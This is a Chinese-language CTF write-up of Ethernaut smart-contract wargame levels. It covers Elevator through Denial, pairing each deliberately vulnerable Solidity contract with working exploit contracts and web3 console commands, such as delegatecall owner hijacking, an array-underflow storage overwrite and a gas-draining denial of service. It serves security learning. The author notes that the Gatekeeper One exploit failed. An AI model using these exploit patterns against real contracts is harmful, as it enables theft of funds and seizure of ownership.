Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Ethernaut闯关录(下)

Ethernaut闯关录(下)

作者头像
Al1ex
发布于 2021-07-21 08:54:19
发布于 2021-07-21 08:54:19
1.1K00
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:0
代码可运行
Elevator
闯关条件

这个电梯似乎并不会让你到达顶层,所以我们的闯关条件就是绕过这一限制

合约代码
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity ^0.4.18;

interface Building {
  function isLastFloor(uint) view public returns (bool);
}

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);
    if (!building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}
合约分析

在合约的开头处有一个Building接口,定义了isLastFloor函数,返回值是bool,应该是用来返回这一楼层是否为最顶层,在接口里没有函数是已实现的,类似于抽象合约,可以理解为它仅仅用来提供一个标准,这样继承于它的合约就可以遵照它的标准来进行交互,而接口内的函数在其调用合约内定义即可。

之后在下面的主合约里,定义了一个bool型的top变量,在goto函数里对传入的_floor变量进行了判断,从逻辑上我们发现判断的条件里如果isLastFloor返回false,通过if后再将isLastFloor的返回值赋给top,这样的话我们的top还是个false,而这里我们要想让top的值变为true,那么我们得想个办法在isLastFloor上动动手脚,由于goTo函数调用了两次isLastFloor,因此我们可以将该函数构造为取反函数即可:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity ^0.4.18;
interface Building {
  function isLastFloor(uint) view public returns (bool);
}
contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);
    if (!building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

contract BuildingEXP{
   Elevator ele;
    bool t = true;
    function isLastFloor(uint) view public returns (bool) {
        t = !t;
        return t;
    }
    function attack(address _addr) public{
        ele = Elevator(_addr);
        ele.goTo(5);
    }
}
攻击流程

点击"Get new Instance"来获取一个实例:

之后获取合约的地址和当前top的值:

之后在remix中部署合约:

之后调用attack来实施攻击,并且将合约地址进行传参:

之后查看top值发现已经变为了true:

之后点击“submit instance”来提交示例:

Privacy
闯关条件

将locked成为false

合约代码
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity ^0.4.18;

contract Privacy {

  bool public locked = true;
  uint256 public constant ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  function Privacy(bytes32[3] _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}
合约分析

根据solidity 文档中的变量存储原则,evm每一次处理32个字节,而不足32字节的变量相互共享并补齐32字节。那么我们简单分析下题目中的变量:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
bool public locked = true;  //1 字节 01
uint256 public constant ID = block.timestamp; //32 字节
uint8 private flattening = 10; //1 字节 0a
uint8 private denomination = 255;//1 字节 ff
uint16 private awkwardness = uint16(now);//2 字节
bytes32[3] private data;

第一个32 字节就是由locked、flattening、denomination、awkwardness组成,另外由于常量(constant)是无需存储的,所以从第二个32 字节开始就是 data。因此只需要将第四个存储槽内容取出即可。取出语句为:web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})

攻击流程

点击“Get new instance”来获取一个实例:

之后将第四个存储槽内容取出,并将前16字节内容由于unlock:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})

之后查看locked的状态,已变为“flase”

之后点击“submit instance”来提交该实例:

Gatekeeper One
闯关条件

绕过三个函数修饰器的限制。

合约代码
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(msg.gas.mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint32(_gateKey) == uint16(_gateKey));
    require(uint32(_gateKey) != uint64(_gateKey));
    require(uint32(_gateKey) == uint16(tx.origin));
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
合约分析

从上面了解到要想enter需要满足gateOne、gateTwo、gateThree三个修饰器的检查条件,即需要满足以下条件:

1、gateOne :这个通过部署一个中间恶意合约即可绕过

2、gateTwo :这里的msg.gas 指的是运行到当前指令还剩余的 gas 量,要能整除 8191。那我们只需要 8191+x ,x 为从开始到运行完 msg.gas 所消耗的 gas。通过查阅资料发现msg.gas在文档里的描述是remaining gas,在Javascript VM环境下进行Debug可在Step detail 栏中可以看到这个变量,笔者在调试过程中未发现合适的gas值,暂未成功!

3、gateThree() 也比较简单,将 tx.origin 倒数三四字节换成 0000 即可。bytes8(tx.origin) & 0xFFFFFFFF0000FFFF 即可满足条件。

根据上面的分析给出EXP代码如下(笔者这里没有成功,主要是gateTwo的问题,没有找到合适的gas,而且编译器不同,初始gas值不同都会影响):

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity ^0.4.18;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(msg.gas % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint32(_gateKey) == uint16(_gateKey));
    require(uint32(_gateKey) != uint64(_gateKey));
    require(uint32(_gateKey) == uint16(tx.origin));
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

contract Attack {
    
    address instance_address = instance_address_here;
    bytes8 _gateKey = bytes8(tx.origin) & 0xFFFFFFFF0000FFFF;
    
    GatekeeperOne target = GatekeeperOne(instance_address);

    function hack() public {
        target.call.gas(16381)(bytes4(keccak256("enter(bytes8)")), _gateKey);
    }
}
攻击流程

虽然没有成功,但是这里思路是正确的,下面简单给一下流程,首先点击“Get new instance”来获取一个实例:

获取实例地址

之后部署并编译攻击合约,同时更改实例合约的地址:

之后点击"hack"来实施攻击

之后当“await contract.entrant()”非0x000...000时点击“submit instance”来提交示例即可!

Gatekeeper Two
闯关要求

和上一题一样,完成三个需求。

合约代码
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity ^0.4.18;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
合约分析

第一个条件:我们可以通过部署合约来实现绕过

第二个条件:gateTwo中extcodesize 用来获取指定地址的合约代码大小。这里使用的是内联汇编来获取调用方(caller)的代码大小,一般来说,当caller为合约时,获取的大小为合约字节码大小,caller为账户时,获取的大小为 0 。条件为调用方代码大小为0 ,由于合约在初始化,代码大小为0的。因此,我们需要把攻击合约的调用操作写在 constructor 构造函数中。

第三个条件:这里判断的是msg.sender,所以要在代码里进行实时计算。异或的特性就是异或两次就是原数据。所以将sender和FFFFFFFFFFFFFFFF进行异或的值就是我们想要的值。

最后攻击合约如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity ^0.4.18;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

contract attack{
    function attack(address param){
        GatekeeperTwo a =GatekeeperTwo(param);
        bytes8 _gateKey = bytes8((uint64(0) -1) ^ uint64(keccak256(this)));
        a.enter(_gateKey);
    }
}
攻击流程

首先,获取一个实例:

之后获取合约地址:

之后在remix中编译部署攻击合约:

之后查看entrant的值:

之后点击“submit instance”来提交示例:

Naught Coin
闯关要求

NaughtCoin是一个ERC20代币,你已经拥有了所有的代币。但是你只能在10年的后才能将他们转移。你需要想出办法把它们送到另一个地址,这样你就可以把它们自由地转移吗,让后通过将token余额置为0来完成此级别。

合约代码
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';

 contract NaughtCoin is StandardToken {
  
  using SafeMath for uint256;
  string public constant name = 'NaughtCoin';
  string public constant symbol = '0x0';
  uint public constant decimals = 18;
  uint public timeLock = now + 10 years;
  uint public INITIAL_SUPPLY = (10 ** decimals).mul(1000000);
  address public player;

  function NaughtCoin(address _player) public {
    player = _player;
    totalSupply_ = INITIAL_SUPPLY;
    balances[player] = INITIAL_SUPPLY;
    Transfer(0x0, player, INITIAL_SUPPLY);
  }
  
  function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }
  } 
}

合约分析

从以上代码我们可以看出合约NaughtCoin继承了StandardToken但是没有对父合约做重写,导致利用父合约的函数可以进行及时转账。而子合约NaughtCoin也没有什么问题,那我们还是回过头来看看import的父合约 StandardToken.sol。

其实根据 ERC20 的标准我们也知道,转账有两个函数,一个transfer一个transferFrom,题目中代码只重写了transfer函数,那么重写transferFrom就是一个可利用的点了。直接看看StandardToken.sol代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 contract StandardToken {
    using ERC20Lib for ERC20Lib.TokenStorage;
    ERC20Lib.TokenStorage token;
    ...
    function transfer(address to, uint value) returns (bool ok) {
         return token.transfer(to, value);
       }

    function transferFrom(address from, address to, uint value) returns (bool ok) {
         return token.transferFrom(from, to, value);
       }
    ...
}

跟进ERC20Lib.sol:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
library ERC20Lib {
    ...
    function transfer(TokenStorage storage self, address _to, uint _value) returns (bool success) {
        self.balances[msg.sender] = self.balances[msg.sender].minus(_value);
        self.balances[_to] = self.balances[_to].plus(_value);
        Transfer(msg.sender, _to, _value);
        return true;
    }
    function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
        var _allowance = self.allowed[_from](msg.sender);
        self.balances[_to] = self.balances[_to].plus(_value);
        self.balances[_from] = self.balances[_from].minus(_value);
        self.allowed[_from](msg.sender) = _allowance.minus(_value);
        Transfer(_from, _to, _value);
        return true;
    }
    ...
    function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
        self.allowed[msg.sender](_spender) = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }

}

此处可以直接调用这个transferFrom了。但是transferFrom有一步权限验证,要验证这个msg.sender是否被_from(实际上在这里的情景的就是自己是否给自己授权了),那么我们同时还可以调用approve 给自己授权。攻击代码如下:

根据以上分析,我们可以构造如下EXP:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
await contract.approve(player,toWei(1000000))
await contract.transferFrom(player,contract.address,toWei(1000000))
攻击流程

点击“Get new instance”来获取一个实例:

之后查看当前账户余额

之后使用approve进行授权

然后再通过transferFrom来实施转账

之后查看账户余额:

最后点击“submit instance”来提交该实例:

Preservation
闯关条件

此合同使用库存储两个不同时区的两个不同时间,构造函数为每次要存储的库创建两个实例。而玩家的目标是获取合约的owner权限。

合约代码
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity ^0.4.23;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

合约分析

以上合约中用到了delegatecall()函数,一般情况下delegatecall用来调用其他合约、库的函数,比如 a 合约中调用 b 合约的函数,执行该函数使用的 storage便是a的。举个例子:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
contract A{
    uint public x1;
    uint public x2;

    function funca(address param){
        param.delegate(bytes4(keccak256("funcb()")));
    }
}
contract B{
    uint public y1;
    uint public y2;

    function funcb(){
        y1=1;
        y2=2;
    }
}

在上述合约中,一旦在a中调用了b的funcb函数,那么对应的a中 x1就会等于y1,x2就会等于 2。 在这个过程中实际b合约的funcb函数把storage里面的slot 1的值更换为了1,把slot 2的值更换为了 2,那么由于delegatecall的原因这里修改的是a的storage,对应就是修改了 x1,x2。

那么这个题就很好办了,我们调用Preservation的setFirstTime函数时候实际通过delegatecall 执行了LibraryContract的setTime函数,修改了slot 1,也就是修改了timeZone1Library变量。这样,我们第一次调用setFirstTime将timeZone1Library变量修改为我们的恶意合约的地址,第二次调用setFirstTime就可以执行我们的任意代码了。

由此,我们可构建一下EXP:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity ^0.4.23;

contract PreservationPoc {
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  
  function setTime(uint _time) public {
    owner = address(_time);
  }
}

攻击流程

点击“Get new instance”获取一个实例

之后在remix中部署恶意智能合约

之后在控制台执行以下命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
await contract.setSecondTime(恶意合约地址)
await contract.setFirstTime(player地址)

之后我们就成为了合约的拥有者

最后点击“submit instance”来提交示例即可:

locked
闯关条件

此名称注册器已锁定,将不接受任何注册的新名称。而玩家的目标是解锁此注册器。

合约代码
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity ^0.4.23; 

// A Locked Name Registrar
contract Locked {

    bool public unlocked = false;  // registrar locked, no name updates
    
    struct NameRecord { // map hashes to addresses
        bytes32 name; // 
        address mappedAddress;
    }

    mapping(address => NameRecord) public registeredNameRecord; // records who registered names 
    mapping(bytes32 => address) public resolve; // resolves hashes to addresses
    
    function register(bytes32 _name, address _mappedAddress) public {
        // set up the new NameRecord
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 

        resolve[_name] = _mappedAddress;
        registeredNameRecord[msg.sender] = newRecord; 

        require(unlocked); // only allow registrations if contract is unlocked
    }
}

合约分析

通过查看以上代码我们可以发现“unlocked”从一开始就被设置为“false”而之后合约中再没有出现过"unlocked",那么我们如何来改变"unlocked"的值呢?关于这一个我在之前的智能合约审计系列3中讲过一个“变量覆盖”的专题,里面有相关的描述,这里不再赘述了,总体来说这里的漏洞出现在结构体的重定义导致变量覆盖问题。

在该合约中,下面的三行diam重新定义了结构体,因此会覆盖第一个、第二个存储块,因为我们只需要见_name设置为bytes32(1)就可以将unlocked变为“ture”

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;

EXP如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity ^0.4.23; 

// A Locked Name Registrar
contract Locked {

    bool public unlocked = false;  // registrar locked, no name updates
    
    struct NameRecord { // map hashes to addresses
        bytes32 name; // 
        address mappedAddress;
    }

    mapping(address => NameRecord) public registeredNameRecord; // records who registered names 
    mapping(bytes32 => address) public resolve; // resolves hashes to addresses
    
    function register(bytes32 _name, address _mappedAddress) public {
        // set up the new NameRecord
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 

        resolve[_name] = _mappedAddress;
        registeredNameRecord[msg.sender] = newRecord; 

        require(unlocked); // only allow registrations if contract is unlocked
    }
}

contract attack{
    function hack(address param){
        Locked a = locked(param);
        a.register(bytes32(1),address(msg.sender));
    }
}

攻击流程

获取一个新的示例

之后获取合约地址

之后部署攻击合约:

之后见合约的address作为产生传入hack中实施攻击:

之后再次查看合约的"unlocked"的状态值,发现已经发生了变化,改为了"true"

最后提交示例即可:

Recovery
闯关条件

合约的创建者已经构建了一个非常简单的合约示例。任何人都可以轻松地创建新的代币。部署第一个令牌合约后,创建者发送了0.5ether以获取更多token。后来他们失去了合同地址。如果您可以从丢失的合同地址中恢复(或移除)0.5ether,则此级别将完成。

合约代码
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity ^0.4.23;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Recovery {

  //generate tokens
  function generateToken(string _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);
  
  }
}

contract SimpleToken {

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  function() public payable {
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address _to) public {
    selfdestruct(_to);
  }
}

合约分析

由于在链上所有东西都是透明的,因此合约创建时我们直接查看合约就可以查看到新建立的合约的地址。之后如果要回复token可以借助destory函数来实现,可以构建如下EXP:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity ^0.4.23;

contract SimpleToken {

  // public variables
  string public name;
  mapping (address => uint) public balances;

  // collect ether in return for tokens
  function() public payable ;

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public ;

  // clean up after ourselves
  function destroy(address _to) public ;
}

contract RecoveryPoc {
    SimpleToken target;
    constructor(address _addr) public{
        target = SimpleToken(_addr);
    }

    function attack() public{
        target.destroy(tx.origin);
    }
    
}
攻击流程

首先获取一个实例:

从MetaMask上获取交易细节信息

由此确定新合约的地址:

之后部署攻击合约

之后点击hack实施攻击:

之后查看attack之后的交易细节,发现代币找回

同时发现新合约自动销毁

最后点击"submit instance"提交示例即可:

MagicNumber
闯关条件

要解决这个级别,您只需要向etranaut提供一个“Solver”,这是一个响应“whatistMeaningoflife()”的契约,并提供正确的数字。很容易吧?好。。。有个陷阱。解算器的代码需要非常小。真的很小。就像怪物真的有点小:最多10个操作码。提示:也许是时候暂时离开Solidity编译器的舒适性,手工构建这个编译器了。没错:原始EVM字节码。祝你好运!

即要求输出42(操作码为2A)。

合约代码
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity ^0.4.24;

contract MagicNum {

  address public solver;

  constructor() public {}

  function setSolver(address _solver) public {
    solver = _solver;
  }

  /*
    ____________/\\\_______/\\\\\\\\\_____        
     __________/\\\\\_____/\\\///////\\\___       
      ________/\\\/\\\____\///______\//\\\__      
       ______/\\\/\/\\\______________/\\\/___     
        ____/\\\/__\/\\\___________/\\\//_____    
         __/\\\\\\\\\\\\\\\\_____/\\\//________   
          _\///////////\\\//____/\\\/___________  
           ___________\/\\\_____/\\\\\\\\\\\\\\\_ 
            ___________\///_____\///////////////__
  */
}
合约分析

对于操作码的执行我们需要用转账函数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
web3.eth.sendTransaction({from:player,data:bytecode},function(err,res){console.log(res)})

这里借鉴了一个writeup(https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2),里面有详细的描述,读者可以自我借鉴,最后的攻击代码如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
var bytecode = "0x600a600c600039600a6000f3602A60805260206080f3"; 
web3.eth.sendTransaction({from:player, data:bytecode}, function(err,res){console.log(res)}); 
await contract.setSolver("0xccb446cbcd073320dfb8487cfcab02aeeb0aeee6");
攻击流程

获取一个实例:

之后在控制台实施攻击

最后点击“submit instance”提交示例:

Alien Codex
闯关条件

获取合约的所有权。

合约代码
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity ^0.4.24;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }
  
  function make_contact(bytes32[] _firstContactMessage) public {
    assert(_firstContactMessage.length > 2**200);
    contact = true;
  }

  function record(bytes32 _content) contacted public {
    codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}
合约分析

合约开头 import 了 Ownable 合约,同时也引入了一个 owner 变量

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
web3.eth.getStorageAt(contract.address, 0, function(x, y) {alert(y)});
// 0x00000000000000000000000073048cec9010e92c298b016966bde1cc47299df5
// bool public contact   0x000000000000000000000000
// address public owner  0x73048cec9010e92c298b016966bde1cc47299df5

由于 EVM 存储优化的关系,在 slot [0]中同时存储了contact和owner,需要做的就是将owner变量覆盖为自己。

首先通过 make_contact() 函数,我们可以将contact变量设置为 true,这也是调用其他几个函数的前提。

在make_contact() 函数中,我们需要传入一个长度大于 2**200 的数组。如果直接在 remix 上部署一个合约来传,会发现 gas 消耗爆炸了。明显这是不太现实的,需要绕过。由于 make_contact() 函数只验证传入数组的长度。了解到 OPCODE 中数组长度是存储在某个slot上的,并且没有对数组长度和数组内的数据做校验。所以可以构造一个存储位上长度很大,但实际上并没有数据的数组,打包成data 发送。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sig = web3.sha3("make_contact(bytes32[])").slice(0,10)
// "0x1d3d4c0b"
// 函数选择器
data1 = "0000000000000000000000000000000000000000000000000000000000000020"
// 除去函数选择器,数组长度的存储从第 0x20 位开始
data2 = "1000000000000000000000000000000000000000000000000000000000000001"
// 数组的长度
await contract.contact()
// false
contract.sendTransaction({data: sig + data1 + data2});
// 发送交易
await contract.contact()
// true

之后就是一个经典的 OOB (out of boundary) Attack

首先通过调用 retract(),使得 codex 数组长度下溢

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});
// codex.length
// 0x0000000000000000000000000000000000000000000000000000000000000000
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
contract.retract()
// codex.length--

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});
// codex.length
// 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

据了解在Solidity中动态数组内变量的存储位计算方法可以概括为:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
b[X] == SLOAD(keccak256(slot) + X)

在本题中,数组 codex 的 slot 为 1,同时也是存储数组长度的地方

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
>>> import sha3
>>> import binascii
>>> def bytes32(i):
>>>     return binascii.unhexlify('%064x'%i)
>>> sha3.keccak_256(bytes32(1)).hexdigest()
'b10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6'
>>> 2**256 - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
35707666377435648211887908874984608119992236509074197713628505308453184860938

可计算出,codex[35707666377435648211887908874984608119992236509074197713628505308453184860938] 对应的存储位就是 slot 0。之前提到 slot 0 中同时存储了 contact 和 owner,只需将 owner 替换为 player 地址即可

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
await contract.owner()
// "0x73048cec9010e92c298b016966bde1cc47299df5"
contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x000000000000000000000001a61cfd1573fd2207dcb1841cedcb1d5aed4dc155')
// 调用 revise()
await contract.owner()
// "0x676ca875027fd9a5bdbd4f1f0380d8f34d8e1cdf"
// Submit instance

攻击流程

获取一个新的实例:

中间流程参考合约分析部分!最后获得owner之后提交示例即可:

Denial
闯关要求

造成DOS使得合约的owner在调用withdraw时无法正常提取资产。

合约代码
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity ^0.4.24;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = 0xA9E;
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call.value(amountToSend)();
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    function() payable {}

    // convenience function
    function contractBalance() view returns (uint) {
        return address(this).balance;
    }
}
合约分析

从合约的代码中我们很容易发现这里存在一个重入漏洞,所以可以通过部署了一个利用重入漏洞的合约,把gas直接消耗光,那么owner 自然收不到钱了,从而造成DOS。

攻击合约如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pragma solidity ^0.4.23;

contract Denial {

    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = 0xA9E;
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance/100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call.value(amountToSend)();
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    function() payable {}

    // convenience function
    function contractBalance() view returns (uint) {
        return address(this).balance;
    }
}

contract Attack{
    address instance_address = instance_address_here;//根据示例来更改该参数
    Denial target = Denial(instance_address);
    
    function hack() public {
        target.setWithdrawPartner(address(this));
        target.withdraw();
    }
    
    function () payable public {
        target.withdraw();
    } 
}
攻击流程

获取一个实例

之后查看instance的地址

之后部署攻击合约

之后点击"Hack"实施攻击即可:

最后提交示例即可

Shop

该关卡好像已经关闭了,目前已经404了~

至此,Ethernaut闯关录完结~

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-03-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
智能合约:Ethernaut题解(四)
题目声明了 Building 接口中的那个 isLastFloor 函数,我们可以自己编写
yichen
2020/05/24
9010
Ethernaut闯关录(中)
前面是个构造函数,把owner赋给了合约的创建者,照例看了一下这是不是真的构造函数,确定没有问题,下面一个changeOwner函数则检查tx.origin和msg.sender是否相等,如果不一样就把owner更新为传入的_owner。
Al1ex
2021/07/21
7420
Ethernaut闯关录(中)
智能合约:Ethernaut题解(五)
目标:现在手里有一些代币,但是十年之后才能转走,先办法转走他们,使得你合约中的代币为 0
yichen
2020/05/25
8400
智能合约:Ethernaut题解(五)
Ethernaut WriteUp 更新到22题 Shop
网上有几篇WP了,但是有的题目短缺,有的不够详细,有的POC,MagicNumber题目更新后是过不了的~~虽说我这里也不可能做到最详细,但是综合起来看的话,应该会好一些。下面是本篇WP参考到的文章,感谢。
xuing
2019/10/19
1.8K0
智能合约:Ethernaut题解(三)
一开始是这样的,初始合约是 20,当我们转一个比 20 大的数的时候 20-_value 就会下溢
yichen
2020/05/25
1.2K0
Ethernaut闯关录(上)
Ethernaut(https://ethernaut.zeppelin.solutions/)是一个类似于CTF的智能合约平台,集成了不少的智能合约相关的安全问题,这对于安全审计人员来说是一个很不错的学习平台,本篇文章将通过该平台来学习智能合约相关的各种安全问题。
Al1ex
2021/07/21
